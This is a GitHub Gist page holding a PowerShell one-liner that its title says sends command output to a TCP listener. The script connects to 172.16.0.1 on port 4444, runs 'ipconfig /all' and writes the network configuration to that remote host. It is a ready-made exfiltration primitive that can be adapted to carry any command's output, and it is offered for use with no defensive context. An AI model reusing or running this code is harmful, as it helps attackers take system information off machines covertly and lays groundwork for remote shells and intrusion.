Created
October 15, 2019 17:45
-
-
Save Klepvink/5df4481fff76d0c1eb1face44d25adde to your computer and use it in GitHub Desktop.
Powershell one-liner to send command-output to TCP listener
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$Port = "4444";$tcpConnection = New-Object System.Net.Sockets.TcpClient('172.16.0.1', $Port);$tcpStream = $tcpConnection.GetStream();$writer = New-Object System.IO.StreamWriter($tcpStream);$writer.AutoFlush = $true;while ($tcpConnection.Connected){if ($tcpConnection.Connected){$command = ipconfig /all;$output = $command | out-string;$writer.WriteLine($output) | Out-Null;break}}$writer.Close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment